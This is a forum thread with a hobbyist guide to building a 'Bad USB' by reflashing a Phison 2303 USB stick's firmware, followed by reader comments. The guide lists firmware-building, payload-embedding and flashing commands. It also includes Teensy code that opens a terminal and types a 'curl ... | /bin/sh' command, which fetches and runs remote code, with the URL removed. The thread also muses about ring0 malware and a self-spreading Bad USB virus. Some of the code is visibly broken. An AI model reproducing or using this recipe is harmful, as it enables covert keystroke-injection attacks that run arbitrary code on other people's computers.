Plug In To Win - DIY Bad USB [Part 3/3]


(The C# Dude) #1

Hey Mates!

This time I’ll tell you how you can build your own Bad USB for about 10$. It’s pretty easy, but requires a compatible USB Stick.


You’ll need an USB Stick with the Phison 2303 (2251-03) microcontroller installed. Sadly you can’t just ask in your favourite hardware shop for the installed firmware, so it’s a luck game :smile:. I was lucky enough to had already a compatible one at home. You can find a list of known compatible devices here.

How To Test The Microcontroller

Just download the tool from this russian site. It’s the first blue link :wink:.

You should get an output like this one. You see the second entry at Controller? If there would be Phison 2303 (2251-03) you would have won :smile:. This USB Stick is sadly incompatible.

The Build-Environment

Now you’ll have to download Microsoft Visual Studio (2012 or higher) and SDCC. They are required for the next steps.

Building The Source

When you’ve downloaded Visual Studio, you have to get the Source from github. Extract them and open DriveCom and EmbedPayload in Visual Studio. Now build them (Build->Build Solution).

Download A Burner Image

The Burner Image is required for flashing the firmware later on. Again we just have a russian site, but that is no problem :wink:. Just search on the site for “BN03” (CTRL+ F) and download the .rar package.

Download The DuckEncoder

If you’ve followed my first part, you’ll already have one installed. If not, just get it here.

How To Flash

Now, that we’re done with preparing our environment, we can start using the tools :slight_smile:.


I can not guarantee that everything will run fine. I’ve never encountered any problems, but I can’t promise it. Everything beyond this point is up to you!

Custom Firmware

Go to \Psyschson\firmware and run the build.bat. If everything went right, you should see a new folder called bin with different files in it. We’ll need the fw.bin file.

Creating Your DuckyScript

We discussed that in the earlier parts. I recommend to use something easy, like a wallpaper prank:

STRING mspaint
DELAY 1200
DELAY 1000
STRING %userprofile%\a.bmp
DELAY 1000

Now you have to encode it with the DuckEncoder as I told you in part 1. Here’s a little reminding:
Duckencoder.jar -i <input file> -o <output file> -l <language>

Embedding The Payload

Just run our previously built EmbedPayload like this:

EmbedPayload.exe <Path to Payload> <Path to fw.bin>

Now fw.bin contains our payload. You can overwrite it by running build.bat again :wink:.

Dumping The Existing Firmware

I recommend you to dump your existing firmware. Else you couldn’t restore it, when you lost your fun at Bad USB :slight_smile:. Just use DriveCom like this:
DriveCom.exe /drive=<letter of your USB drive> /action=DumpFirmware /burner=<Path to our Burner Image> /firmware=<Path to the original fw.bin>

Flashing Our Firmware

Now we can flash our Stick with the modified firmware. But hold in mind that it will be complicated to get the USB back into boot mode again! See the following section for more information.

Again we’ll use DriveCom:
DriveCom.exe /drive=<USB drive letter> /action=SendFirmware /burner=<Path to our Burner Image /firmware=<Path to the modified fw.bin>

If some errors appear, try to use an older version of the Burner Image. In my case it fixed the issue :wink:.

Reflashing The Bad USB

If you want to install your original firmware or a new DuckyScript, you’ll have to set the USB back into boot mode again. This is not as complicated as it might look like :wink:. Because the Bad USB is a fully functional keyboard, you can’t access it anymore from your computer. To bypass this, you’ll have to shorten the two pins at the bottom left:

At this point props to @Phoenix750 for helping me out with the hardware part :slight_smile:.

Teensy LC

After my first part, I’ve written with @0x00pf, who already got a Bad USB working by programming a Teensy LC. He did some great work! The following is an equal program - like the one I discussed in my first part - for the Teensy by @0x00pf:

void release_keys (void)
 // Release all keys
  Keyboard.set_modifier (0);  
  delay (100);

void setup() {
  // put your setup code here, to run once:
  delay (1000);
  // Launch terminal (GNOME CTRL+ALT+t)
  Keyboard.set_modifier (MODIFIERKEY_CTRL | MODIFIERKEY_ALT);
  delay (100);;
  delay (500); // Wait for the terminal to come up
  release_keys ();
  // Send Command
  Keyboard.println("curl -s | /bin/sh");

  // Close terminal (CTRL+D)
  Keyboard.set_modifier (MODIFIERKEY_CTRL);
  delay (100);;
  delay (100);
  release_keys ();

Maybe he’s already working on a part about using a Teensy for installing ring0 malware? We’ll see… :wink:


This DIY Bad USB is more like a PoC, because you always have to shorten the two pins for flashing the firmware, which can be annoying :smile:. Anyway, I hope you enjoyed this short series and are as excited for @0x00pf’s part as I am :smile:.


Using a Teensy to Install Stuff in a Few Seconds
(Burning away in an Explosion) #2

This is kind of awesome! But one question is there: Is the DIY one faster or the Ducky? I’m also hope @0x00pf article will be there in some time :smile:

(The C# Dude) #3

What do you mean with “faster”?
Faster for installing new payloads? No.
Faster data transmission? I don’t know.
Faster typing? No.

Please specify :smile:.

(Burning away in an Explosion) #4

I mean faster typing but now I know :sweat_smile:

(Not a N00b, but still learning) #5

A question that @0x00pf may be able to answer: Why does the hack only possible with the Phison microcontroller? Is it the only one vulnerable or did no one create “hacks” for other microcontrollers?
Anyway, great post! :thumbsup:

(pico) #6

Hey @SmartOne, if you try to search for USB Flash controllers datasheets you will not find many that can be flashed over the USB interface. Many have some special interface (you have to hook up wires in those little pins) and most of them requires some proprietary tools that you only get if you are a manufacturer of… USB devices.

In general, those microntrollers can speak the USB protocol. If you can change the firmware to make it identify as a different device, you are done. Despite of not being trivial (I guess, I have never done it) to re-write such a firmware you also need the details on how to flash it. This is the kind of information/tools that are available for the Phision

(Not a N00b, but still learning) #7

Thank you for the clarification! I always had a dream of a “virus” that turns plugged in usb’s into bad usbs, but that doesn’t seem possible :stuck_out_tongue_winking_eye:

(3,4,5-trimethoxyphenethylamine) #8

I’ve already done this with the Teensy 3.2

You should check this also:

(Not a N00b, but still learning) #9

Hi @FFY00,

Just want to ensure you didn’t get me wrong :slight_smile: My idea was to check if any plugged-in USB has the Phison microcontroller and the overwrite it with the BadUSB firmware. Did you accomplish this?

(3,4,5-trimethoxyphenethylamine) #10

@SmartOne not quite. I didn’t use the teensy to do the same thing than you but I used the same concept.

(Not a N00b, but still learning) #11

Sounds interesting! If you don’t mind, you could write a post about it! :slight_smile:

(3,4,5-trimethoxyphenethylamine) #12

Yeah, I will do when I have some time.

(Hardware Bias!) #13

Good job on this, @TheDoctor. If ya got any more fancy hardware projects, I’m happy to cooperate.



phoenix, knowing we live in the same country, did you purchase a ducky, or a usb stick to try this out ? if so, what were your experiences ?

(The C# Dude) #15

@Phoenix750 only helped me out theoretically. He hasn’t tested this out hisself.

If I understood your question right, else ignore me :grin:.

(Command-Line Ninja) #16

When this was released I didn’t have a chance to check this out - but this is insanely cool. So grateful to have such a badass community!

(Hardware Bias!) #17

@TheDoctor is right, I don’t own a USB like that myself. But I am pretty sure you can buy a ducky in Belgium. If not, you can order one from the US and get it shipped over.



Thanks for the reply. My main reason for asking, was that I found a Kingston DataTraveler G4 64 GB on the known supported devices list, which is widely sold here in Belgium, for about 20€. Was trying to decide what to buy.

(Command-Line Ninja) #19

I think I’m gonna give this a go. Perhaps I already have a USB flash drive with the correct controller.


Awesome, I might try this.